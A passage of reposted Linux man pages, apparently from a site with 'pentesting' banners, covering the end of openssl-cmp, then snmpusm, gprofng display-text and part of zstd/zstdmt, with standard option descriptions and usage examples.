CA certificates to be included in mock Initialization Response (IP) message.

-rsp_newwithnew filename|uri
Certificate to be returned in newWithNew field of genp of type rootCaKeyUpdate.

-rsp_newwithold filename|uri
Certificate to be returned in newWithOld field of genp of type rootCaKeyUpdate.

-rsp_oldwithnew filename|uri
Certificate to be returned in oldWithNew field of genp of type rootCaKeyUpdate.

-poll_count number
Number of times the client must poll before receiving a certificate.

-check_after number
The checkAfter value (number of seconds to wait) to include in poll response.

-grant_implicitconf
Grant implicit confirmation of newly enrolled certificate.

-pkistatus number
PKIStatus to be included in server response. Valid range is 0 (accepted) .. 6 (keyUpdateWarning).

-failure number
A single failure info bit number to be included in server response. Valid range is 0 (badAlg) .. 26 (duplicateCertReq).

-failurebits number Number representing failure bits to be included in server response. Valid range is 0 .. 2^27 - 1.

-statusstring arg

Text to be included as status string in server response.

-send_error
Force server to reply with error message.

-send_unprotected
Send response messages without CMP-level protection.

-send_unprot_err
In case of negative responses, server shall send unprotected error messages, certificate responses (IP/CP/KUP), and revocation responses (RP). WARNING: This setting leads to behavior violating RFC 4210.

-accept_unprotected
Accept missing or invalid protection of requests.

-accept_unprot_err
Accept unprotected error messages from client. So far this has no effect because the server does not accept any error messages.

-accept_raverified
Accept RAVERIFED as proof of possession (POPO).

Certificate verification options, for both CMP and TLS

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. The certificate verification options -verify_hostname, -verify_ip, and -verify_email only affect the certificate verification enabled via the -out_trusted option.

NOTES

When a client obtains, from a CMP server, CA certificates that it is going to trust, for instance via the caPubs field of a certificate response or using general messages with infoType caCerts or rootCaCert, authentication of the CMP server is particularly critical. So special care must be taken setting up server authentication using -trusted and related options for certificate-based authentication or -secret for MAC-based protection. If authentication is certificate-based, the -srvcertout option should be used to obtain the validated server certificate and perform an authorization check based on it.

When setting up CMP configurations and experimenting with enrollment options typically various errors occur until the configuration is correct and complete. When the CMP server reports an error the client will by default check the protection of the CMP response message. Yet some CMP services tend not to protect negative responses. In this case the client will reject them, and thus their contents are not shown although they usually contain hints that would be helpful for diagnostics. For assisting in such cases the CMP client offers a workaround via the -unprotected_errors option, which allows accepting such negative messages.

If OpenSSL was built with trace support enabled (e.g., ./config enable-trace) and the environment variable OPENSSL_TRACE includes HTTP, the requests and the response headers transferred via HTTP are printed.

EXAMPLES

Simple examples using the default OpenSSL configuration file

This CMP client implementation comes with demonstrative CMP sections in the example configuration file openssl/apps/openssl.cnf, which can be used to interact conveniently with the Insta Demo CA.

In order to enroll an initial certificate from that CA it is sufficient to issue the following shell commands.

export OPENSSL_CONF=/path/to/openssl/apps/openssl.cnf

openssl genrsa -out insta.priv.pem openssl cmp -section insta

This should produce the file insta.cert.pem containing a new certificate for the private key held in insta.priv.pem. It can be viewed using, e.g.,

openssl x509 -noout -text -in insta.cert.pem

In case the network setup requires using an HTTP proxy it may be given as usual via the environment variable http_proxy or via the -proxy option in the configuration file or the CMP command-line argument -proxy, for example

-proxy http://192.168.1.1:8080

In the Insta Demo CA scenario both clients and the server may use the pre-shared secret insta and the reference value 3078 to authenticate to each other.

Alternatively, CMP messages may be protected in signature-based manner, where the trust anchor in this case is insta.ca.crt and the client may use any certificate already obtained from that CA, as specified in the [signature] section of the example configuration. This can be used in combination with the [insta] section simply by

openssl cmp -section insta,signature

By default the CMP IR message type is used, yet CR works equally here. This may be specified directly at the command line:

openssl cmp -section insta -cmd cr

or by referencing in addition the [cr] section of the example configuration:

openssl cmp -section insta,cr

In order to update the enrolled certificate one may call

openssl cmp -section insta,kur

using with MAC-based protection with PBM or

openssl cmp -section insta,kur,signature

using signature-based protection.

In a similar way any previously enrolled certificate may be revoked by

openssl cmp -section insta,rr -trusted insta.ca.crt

or

openssl cmp -section insta,rr,signature

Many more options can be given in the configuration file and/or on the command line. For instance, the -reqexts CLI option may refer to a section in the configuration file defining X.509 extensions to use in certificate requests, such as v3_req in openssl/apps/openssl.cnf:

openssl cmp -section insta,cr -reqexts v3_req

Certificate enrollment

The following examples do not make use of a configuration file at first. They assume that a CMP server can be contacted on the local TCP port 80 and accepts requests under the alias /pkix/.

For enrolling its very first certificate the client generates a client key and sends an initial request message to the local CMP server using a pre-shared secret key for mutual authentication. In this example the client does not have the CA certificate yet, so we specify the name of the CA with the -recipient option and save any CA certificates that we may receive in the capubs.pem file.

In below command line usage examples the \ at line ends is used just for formatting; each of the command invocations should be on a single line.

openssl genrsa -out cl_key.pem openssl cmp -cmd ir -server 127.0.0.1:80/pkix/ -recipient “/CN=CMPserver” \ -ref 1234 -secret pass:1234-5678 \ -newkey cl_key.pem -subject “/CN=MyName” \ -cacertsout capubs.pem -certout cl_cert.pem

Certificate update

Then, when the client certificate and its related key pair needs to be updated, the client can send a key update request taking the certs in capubs.pem as trusted for authenticating the server and using the previous cert and key for its own authentication. Then it can start using the new cert and key.

openssl genrsa -out cl_key_new.pem openssl cmp -cmd kur -server 127.0.0.1:80/pkix/ \ -trusted capubs.pem \ -cert cl_cert.pem -key cl_key.pem \ -newkey cl_key_new.pem -certout cl_cert.pem cp cl_key_new.pem cl_key.pem

This command sequence can be repeated as often as needed.

Requesting information from CMP server

Requesting “all relevant information” with an empty General Message. This prints information about all received ITAV infoTypes to stdout.

openssl cmp -cmd genm -server 127.0.0.1/pkix/ -recipient “/CN=CMPserver” \ -ref 1234 -secret pass:1234-5678

Using a custom configuration file

For CMP client invocations, in particular for certificate enrollment, usually many parameters need to be set, which is tedious and error-prone to do on the command line. Therefore, the client offers the possibility to read options from sections of the OpenSSL config file, usually called openssl.cnf. The values found there can still be extended and even overridden by any subsequently loaded sections and on the command line.

After including in the configuration file the following sections:

[cmp] server = 127.0.0.1 path = pkix/ trusted = capubs.pem cert = cl_cert.pem key = cl_key.pem newkey = cl_key.pem certout = cl_cert.pem [init] recipient = “/CN=CMPserver” trusted = cert = key = ref = 1234 secret = pass:1234-5678-1234-567 subject = “/CN=MyName” cacertsout = capubs.pem

the above enrollment transactions reduce to

openssl cmp -section cmp,init openssl cmp -cmd kur -newkey cl_key_new.pem

and the above transaction using a general message reduces to

openssl cmp -section cmp,init -cmd genm

SEE ALSO

openssl-genrsa (1), openssl-ecparam (1), openssl-list (1), openssl-req (1), openssl-x509 (1), x509v3_config (5)

HISTORY

The cmp application was added in OpenSSL 3.0.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2007-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

689 - Linux cli command snmpusm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpusm and provides detailed information about the command snmpusm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpusm.

NAME 🖥️ snmpusm 🖥️

creates and maintains SNMPv3 users on a network entity

SYNOPSIS

snmpusm [COMMON OPTIONS] [-Cw] AGENT create USER [CLONEFROM-USER]
snmpusm [COMMON OPTIONS] AGENT delete USER
snmpusm [COMMON OPTIONS] AGENT cloneFrom USER CLONEFROM-USER
snmpusm [COMMON OPTIONS] [-Ca] [-Cx] AGENT passwd OLD-PASSPHRASE NEW-PASSPHRASE [USER]
snmpusm [COMMON OPTIONS] <-Ca | -Cx> -Ck AGENT passwd OLD-KEY-OR-PASSPHRASE NEW-KEY-OR-PASSPHRASE [USER]
snmpusm [COMMON OPTIONS] [-Ca] [-Cx] AGENT changekey [USER]

DESCRIPTION

snmpusm is an SNMP application that can be used to do simple maintenance on the users known to an SNMP agent, by manipulating the agent’s User-based Security Module (USM) table. The user needs write access to the usmUserTable MIB table. This tool can be used to create, delete, clone, and change the passphrase of users configured on a running SNMP agent.

OPTIONS

Common options for all snmpusm commands:

-CE* ENGINE-ID*
Set usmUserEngineID to be used as part of the index of the usmUserTable. Default is to use the contextEngineID (set via -E or probed) as the usmUserEngineID.

-Cp* STRING*
Set the usmUserPublic value of the (new) user to the specified STRING.

Options for the passwd and changekey commands:

-Ca
Change the authentication key.

-Cx
Change the privacy key.

-Ck
Allows one to use localized key (must start with 0x) instead of passphrase. When this option is used, either the -Ca or -Cx option (but not both) must also be used.

CREATING USERS

An unauthenticated SNMPv3 user can be created using the command

snmpusm [COMMON OPTIONS] AGENT create USER

This constructs an (inactive) entry in the usmUserTable, with no authentication or privacy settings. In principle, this user should be useable for ’noAuthNoPriv’ requests, but in practise the Net-SNMP agent will not allow such an entry to be made active. The user can be created via the createAndWait operation instead by using the -Cw flag. This will prevent the user from being marked as active in any agent until explicitly activated later via the activate command.

In order to activate this entry, it is necessary to “clone” an existing user, using the command

snmpusm [COMMON OPTIONS] AGENT cloneFrom USER CLONEFROM-USER

The USER entry then inherits the same authentication and privacy settings (including pass phrases) as the CLONEFROM user.

These two steps can be combined into one, by using the command

snmpusm [COMMON OPTIONS] AGENT create USER CLONEFROM-USER

The two forms of the create sub-command require that the user being created does not already exist. The cloneFrom sub-command requires that the user being cloned to does already exist.

Cloning is the only way to specify which authentication and privacy protocols to use for a given user, and it is only possible to do this once. Subsequent attempts to reclone onto the same user will appear to succeed, but will be silently ignored. This (somewhat unexpected) behaviour is mandated by the SNMPv3 USM specifications (RFC 3414). To change the authentication and privacy settings for a given user, it is necessary to delete and recreate the user entry. This is not necessary for simply changing the pass phrases (see below). This means that the agent must be initialized with at least one user for each combination of authentication and privacy protocols. See the snmpd.conf(5) manual page for details of the createUser configuration directive.

DELETING USERS

A user can be deleted from the usmUserTable using the command

snmpusm [COMMON OPTIONS] AGENT delete USER

CHANGING PASS PHRASES

User profiles contain private keys that are never transmitted over the wire in clear text (regardless of whether the administration requests are encrypted or not). To change the secret key for a user, it is necessary to specify the user’s old passphrase as well as the new one. This uses the command

snmpusm [COMMON OPTIONS] [-Ca] [-Cx] AGENT passwd OLD-PASSPHRASE NEW-PASSPHRASE [USER]

After cloning a new user entry from the appropriate template, you should immediately change the new user’s passphrase.

If USER is not specified, this command will change the passphrase of the (SNMPv3) user issuing the command. If the -Ca or -Cx options are specified, then only the authentication or privacy keys are changed. If these options are not specified, then both the authentication and privacy keys are changed.

snmpusm [COMMON OPTIONS] [-Ca] [-Cx] AGENT changekey [USER]

This command changes the key in a perfect-forward-secrecy compliant way through a diffie-helman exchange. The remote agent must support the SNMP-USM-DH-OBJECTS-MIB for this command to work. The resulting keys are printed to the console and may be then set in future command invocations using the –defAuthLocalizedKey and –defPrivLocalizedKey options or in your snmp.conf file using the defAuthLocalizedKey and defPrivLocalizedKey keywords.

Note that since these keys are randomly generated based on a diffie helman exchange, they are no longer derived from a more easily typed password. They are, however, much more secure.

To change from a localized key back to a password, the following variant of the passwd sub-command is used:

snmpusm [COMMON OPTIONS] <-Ca | -Cx> -Ck AGENT passwd OLD-KEY-OR-PASSPHRASE NEW-KEY-OR-PASSPHRASE [USER]

Either the -Ca or the -Cx option must be specified. The OLD-KEY-OR-PASSPHRASE and/or NEW-KEY-OR-PASSPHRASE arguments can either be a passphrase or a localized key starting with “0x”, e.g. as printed out by the changekey sub-command.

Note that snmpusm REQUIRES an argument specifying the agent to query as described in the .I snmpcmd(1) manual page.

EXAMPLES

Let’s assume for our examples that the following VACM and USM configurations lines were in the snmpd.conf file for a Net-SNMP agent. These lines set up a default user called “initial” with the authentication passphrase “setup_passphrase” so that we can perform the initial setup of an agent:

VACM configuration entries

rwuser initial
# lets add the new user we'll create too:
rwuser wes
# USM configuration entries
createUser initial MD5 setup_passphrase DES

Note: the “initial” user’s setup should be removed after creating a real user that you grant administrative privileges to (like the user “wes” we’ll be creating in this example.

Note: passphrases must be 8 characters minimum in length.

Create a new user

snmpusm -v3 -u initial -n "" -l authNoPriv -a MD5 -A setup_passphrase localhost create wes initial

Creates a new user, here named “wes” using the user “initial” to do it. “wes” is cloned from “initial” in the process, so he inherits that user’s passphrase (“setup_passphrase”).

Change the user’s passphrase

snmpusm -v 3 -u wes -n "" -l authNoPriv -a MD5 -A setup_passphrase localhost passwd setup_passphrase new_passphrase

After creating the user “wes” with the same passphrase as the “initial” user, we need to change his passphrase for him. The above command changes it from “setup_passphrase”, which was inherited from the initial user, to “new_passphrase”.

Test the new user

snmpget -v 3 -u wes -n "" -l authNoPriv -a MD5 -A new_passphrase localhost sysUpTime.0

If the above commands were successful, this command should have properly performed an authenticated SNMPv3 GET request to the agent.

Now, go remove the vacm “group” snmpd.conf entry for the “initial” user and you have a valid user ‘wes’ that you can use for future transactions instead of initial.

WARNING

Manipulating the usmUserTable using this command can only be done using SNMPv3. This command will not work with the community-based versions, even if they have write access to the table.

SEE ALSO

snmpd.conf(5), snmp.conf(5), RFC 3414

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

690 - Linux cli command x86_64-linux-gnu-gp-display-text

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gp-display-text and provides detailed information about the command x86_64-linux-gnu-gp-display-text, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gp-display-text.

NAME 🖥️ x86_64-linux-gnu-gp-display-text 🖥️

display-text - Display the performance data in plain text format

SYNOPSIS

gprofng display text [option(s)] [commands] [-script script-file] experiment(s)

DESCRIPTION

Print a plain text version of the various displays supported by gprofng.

The input consists of one or more experiment directories. Through commands, the user controls the output.

There is a rich set of commands to control the display of the data. The NOTES section lists the most common ones. The gprofng user guide lists all the commands supported.

Commands specified on the command line need to be prepended with the dash (’-’) symbol.

In this example, a function overview will be shown, followed by the source code listing of function my-func, annotated with the performance metrics that have been recorded during the data collection and stored in experiment directory my-exp.er:

$ gprofng display text -functions -source my-func my-exp.er

Instead of, or in addition to, specifying these commands on the command line, commands may also be included in a file called the script-file.

Note that the commands are processed and interpreted from left to right, so the order matters.

If this tool is invoked without options, commands, or a script file, it starts in interpreter mode. The user can then issue the commands interactively. The session is terminated with the exit command in the interpreter.

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

-script script-file
Execute the commands stored in the script file. This feature may be combined with commands specified at the command line.

NOTES

Many commands are supported. Below, the more common ones are listed in mostly alphabetical order, because sometimes it is more logical to swap the order of two entries.

There are many more commands. These are documented in the user guide.

“callers-callees”
In a callers-callees panel, it is shown which function(s) call the target function (the callers) and what functions it is calling (the callees). This command prints the callers-callees panel for each of the functions, in the order specified by the function sort metric.

“calltree”
Display the dynamic call graph from the experiment, showing the hierarchical metrics at each level.

“compare {on | off | delta | ratio}”
By default, the results for multiple experiments are aggregated. This command changes this to enable the comparison of experiments for certain views (e.g. the function view). The first experiment specified is defined to be the reference. The following options are supported:

“on”
For each experiment specified on the command line, print the values for the metrics that have been activated for the experiment.

“off”
Disable the comparison of experiments. This is the default.

“delta”
Print the values for the reference experiment. The results for the other experiments are shown as a delta relative to the reference (current-reference).

“ratio”
Print the values for the reference experiment. The results for the other experiments are shown as a ratio relative to the reference (current/reference).

“disasm function-name”
List the source code and instructions for the function specified. The instructions are annotated with the metrics used.

“fsingle function-name [n]”
Write a summary panel for the specified function. The optional parameter n is needed for those cases where several functions have the same name.

“fsummary”
Write a summary panel for each function in the function list.

“functions”
Display a list of all functions executed. For each function the used metrics (e.g. the CPU time) are shown.

“header”
Shows several operational characteristics of the experiment(s) specified on the command line.

“limit n”
Limit the output to n lines.

“lines”
Write a list of source lines and their metrics, ordered by the current sort metric.

“metric_list”
Display the currently selected metrics in the function view and a list of all the metrics available for the target experiment(s).

“metrics metric-spec”
Define the metrics to be displayed in the function and callers-callees overviews. The metric-spec can either be the keyword default to restore the default metrics selection, or a colon separated list with metrics. A special metric is hwc. It automatically expands to the active set of hardware event counters used in the experiment(s). If both instructions and clock cycles have been measured, the CPI and IPC metrics can be used to see the Clockcycles Per Instruction and Instructions Per Clockcyle values, respectively. The gprofng user guide has more details how to define metrics.

“name {short | long | mangled}[:{soname | nosoname}]”
Specify whether to use the short, long, or mangled form of function names. Optionally, the load object that the function is part of can be included in the output by adding the soname keyword. It can also be ommitted (nosoname), which is the default. Whether there is an actual difference between these types of names depends on the language. Note that there should be no (white)space to the left and right of the colon (:). This option should not be confused with the keyword name in a metric definition, which is used to specify that the names of functions should be shown in the function overview.

“overview”
Shows a summary of the recorded performance data for the experiment(s) specified on the command line.

“pcs”
Write a list of program counters (PCs) and their metrics, ordered by the current sort metric.

“sort metric-spec”
Sort the function list on the metric-spec given. @IndexSubentry{Sort, Reverse order} The data can be sorted in reverse order by prepending the metric definition with a minus (-) sign. For example sort -e.totalcpu. @IndexSubentry{Sort, Reset to default} A default metric for the sort operation has been defined and since this is a persistent command, this default can be restored with default as the key (sort default).

“source function-name”
List the source code for the function specified, annotated with the metrics used.

“viewmode {user | expert | machine}”
This command is only relevant for Java programs. For all other languages supported, the viewmode setting has no effect. The following options are supported:

“user”
Show the Java call stacks for Java threads, but do not show housekeeping threads. The function view includes a function called <JVM-System>. This represents the aggregated time from non-Java threads. In case the JVM software does not report a Java call stack, time is reported against the function <no Java callstack recorded>.

“expert”
Show the Java call stacks for Java threads when the user Java code is executed, and machine call stacks when JVM code is executed, or when the JVM software does not report a Java call stack. Show the machine call stacks for housekeeping threads.

“machine”
Show the actual native call stacks for all threads. This is the view mode for C, C++, and Fortran.

SEE ALSO

gprofng (1), gp-archive (1), gp-collect-app (1), gp-display-gui (1), gp-display-html (1), gp-display-src (1)

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

691 - Linux cli command zstdmt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zstdmt and provides detailed information about the command zstdmt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zstdmt.

NAME 🖥️ zstdmt 🖥️

zstd, zstdmt, unzstd, zstdcat - Compress or decompress .zst files

SYNOPSIS

zstd [OPTIONS] [-|INPUT-FILE] [-o OUTPUT-FILE]

zstdmt is equivalent to zstd -T0

unzstd is equivalent to zstd -d

zstdcat is equivalent to zstd -dcf

DESCRIPTION

zstd is a fast lossless compression algorithm and data compression tool, with command line syntax similar to gzip(1) and xz(1). It is based on the LZ77 family, with further FSE & huff0 entropy stages. zstd offers highly configurable compression speed, from fast modes at > 200 MB/s per core, to strong modes with excellent compression ratios. It also features a very fast decoder, with speeds > 500 MB/s per core, which remains roughly stable at all compression settings.

zstd command line syntax is generally similar to gzip, but features the following few differences:

  • Source files are preserved by default. It’s possible to remove them automatically by using the –rm command.

  • When compressing a single file, zstd displays progress notifications and result summary by default. Use -q to turn them off.

  • zstd displays a short help page when command line is an error. Use -q to turn it off.

  • zstd does not accept input from console, though it does accept stdin when it’s not the console.

  • zstd does not store the input’s filename or attributes, only its contents.

zstd processes each file according to the selected operation mode. If no files are given or file is -, zstd reads from standard input and writes the processed data to standard output. zstd will refuse to write compressed data to standard output if it is a terminal: it will display an error message and skip the file. Similarly, zstd will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout or -o is specified, files are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix .zst is appended to the source filename to get the target filename.

  • When decompressing, the .zst suffix is removed from the source filename to get the target filename

Concatenation with .zst Files

It is possible to concatenate multiple .zst files. zstd will decompress such agglomerated file as if it was a single .zst file.

OPTIONS

Integer Suffixes and Special Values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, M, and MB are accepted as synonyms for MiB.

Operation Mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unzstd implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout > /dev/null, decompressed data is discarded and checksummed for errors. No files are created or removed.

-b#
Benchmark file(s) using compression level #. See BENCHMARK below for a description of this operation.

–train FILES
Use FILES as a training set to create a dictionary. The training set should contain a lot of small files (> 100). See DICTIONARY BUILDER below for a description of this operation.

-l, –list
Display information related to a zstd compressed file, such as size, ratio, and checksum. Some of these fields may not be available. This command’s output can be augmented with the -v modifier.

Operation Modifiers

  • -#: selects # compression level [1-19] (default: 3). Higher compression levels generally produce higher compression ratio at the expense of speed and memory. A rough rule of thumb is that compression speed is expected to be divided by 2 every 2 levels. Technically, each level is mapped to a set of advanced parameters (that can also be modified individually, see below). Because the compressor’s behavior highly depends on the content to compress, there’s no guarantee of a smooth progression from one level to another.

  • –ultra: unlocks high compression levels 20+ (maximum 22), using a lot more memory. Note that decompression will also require more memory when using these levels.

  • –fast[=#]: switch to ultra-fast compression levels. If =# is not present, it defaults to 1. The higher the value, the faster the compression speed, at the cost of some compression ratio. This setting overwrites compression level if one was set previously. Similarly, if a compression level is set after –fast, it overrides it.

  • -T#, –threads=#: Compress using # working threads (default: 1). If # is 0, attempt to detect and use the number of physical CPU cores. In all cases, the nb of threads is capped to ZSTDMT_NBWORKERS_MAX, which is either 64 in 32-bit mode, or 256 for 64-bit environments. This modifier does nothing if zstd is compiled without multithread support.

  • –single-thread: Use a single thread for both I/O and compression. As compression is serialized with I/O, this can be slightly slower. Single-thread mode features significantly lower memory usage, which can be useful for systems with limited amount of memory, such as 32-bit systems.

    Note 1: this mode is the only available one when multithread support is disabled.

    Note 2: this mode is different from -T1, which spawns 1 compression thread in parallel with I/O. Final compressed result is also slightly different from -T1.

  • –auto-threads={physical,logical} (default: physical): When using a default amount of threads via -T0, choose the default based on the number of detected physical or logical cores.

  • –adapt[=min=#,max=#]: zstd will dynamically adapt compression level to perceived I/O conditions. Compression level adaptation can be observed live by using command -v. Adaptation can be constrained between supplied min and max levels. The feature works when combined with multi-threading and –long mode. It does not work with –single-thread. It sets window size to 8 MiB by default (can be changed manually, see wlog). Due to the chaotic nature of dynamic adaptation, compressed result is not reproducible.

    Note: at the time of this writing, –adapt can remain stuck at low speed when combined with multiple worker threads (>=2).

  • –long[=#]: enables long distance matching with # windowLog, if # is not present it defaults to 27. This increases the window size (windowLog) and memory usage for both the compressor and decompressor. This setting is designed to improve the compression ratio for files with long matches at a large distance.

    Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

  • -D DICT: use DICT as Dictionary to compress or decompress FILE(s)

  • –patch-from FILE: Specify the file to be used as a reference point for zstd’s diff engine. This is effectively dictionary compression with some convenient parameter selection, namely that windowSize > srcSize.

    Note: cannot use both this and -D together.

    Note: –long mode will be automatically activated if chainLog < fileLog (fileLog being the windowLog required to cover the whole file). You can also manually force it.

    Note: for all levels, you can use –patch-from in –single-thread mode to improve compression ratio at the cost of speed.

    Note: for level 19, you can get increased compression ratio at the cost of speed by specifying –zstd=targetLength= to be something large (i.e. 4096), and by setting a large –zstd=chainLog=.

  • –rsyncable: zstd will periodically synchronize the compression state to make the compressed file more rsync-friendly. There is a negligible impact to compression ratio, and a potential impact to compression speed, perceptible at higher speeds, for example when combining –rsyncable with many parallel worker threads. This feature does not work with –single-thread. You probably don’t want to use it with long range mode, since it will decrease the effectiveness of the synchronization points, but your mileage may vary.

  • -C, –[no-]check: add integrity check computed from uncompressed data (default: enabled)

  • –[no-]content-size: enable / disable whether or not the original size of the file is placed in the header of the compressed file. The default option is –content-size (meaning that the original size will be placed in the header).

  • –no-dictID: do not store dictionary ID within frame header (dictionary compression). The decoder will have to rely on implicit knowledge about which dictionary to use, it won’t be able to check if it’s correct.

  • -M#, –memory=#: Set a memory usage limit. By default, zstd uses 128 MiB for decompression as the maximum amount of memory the decompressor is allowed to use, but you can override this manually if need be in either direction (i.e. you can increase or decrease it).

    This is also used during compression when using with –patch-from=. In this case, this parameter overrides that maximum size allowed for a dictionary. (128 MiB).

    Additionally, this can be used to limit memory for dictionary training. This parameter overrides the default limit of 2 GiB. zstd will load training samples up to the memory limit and ignore the rest.

  • –stream-size=#: Sets the pledged source size of input coming from a stream. This value must be exact, as it will be included in the produced frame header. Incorrect stream sizes will cause an error. This information will be used to better optimize compression parameters, resulting in better and potentially faster compression, especially for smaller source sizes.

  • –size-hint=#: When handling input from a stream, zstd must guess how large the source size will be when optimizing compression parameters. If the stream size is relatively small, this guess may be a poor one, resulting in a higher compression ratio than expected. This feature allows for controlling the guess when needed. Exact guesses result in better compression ratios. Overestimates result in slightly degraded compression ratios, while underestimates may result in significant degradation.

  • –target-compressed-block-size=#: Attempt to produce compressed blocks of approximately this size. This will split larger blocks in order to approach this target. This feature is notably useful for improved latency, when the receiver can leverage receiving early incomplete data. This parameter defines a loose target: compressed blocks will target this size “on average”, but individual blocks can still be larger or smaller. Enabling this feature can decrease compression speed by up to ~10% at level 1. Higher levels will see smaller relative speed regression, becoming invisible at higher settings.

  • -f, –force: disable input and output checks. Allows overwriting existing files, input from console, output to stdout, operating on links, block devices, etc. During decompression and when the output destination is stdout, pass-through unrecognized formats as-is.

  • -c, –stdout: write to standard output (even if it is the console); keep original files (disable –rm).

  • -o FILE: save result into FILE. Note that this operation is in conflict with -c. If both operations are present on the command line, the last expressed one wins.

  • –[no-]sparse: enable / disable sparse FS support, to make files with many zeroes smaller on disk. Creating sparse files may save disk space and speed up decompression by reducing the amount of disk I/O. default: enabled when output is into a file, and disabled when output is stdout. This setting overrides default and can force sparse mode over stdout.

  • –[no-]pass-through enable / disable passing through uncompressed files as-is. During decompression when pass-through is enabled, unrecognized formats will be copied as-is from the input to the output. By default, pass-through will occur when the output destination is stdout and the force (-f) option is set.

  • –rm: remove source file(s) after successful compression or decompression. This command is silently ignored if output is stdout. If used in combination with -o, triggers a confirmation prompt (which can be silenced with -f), as this is a destructive operation.

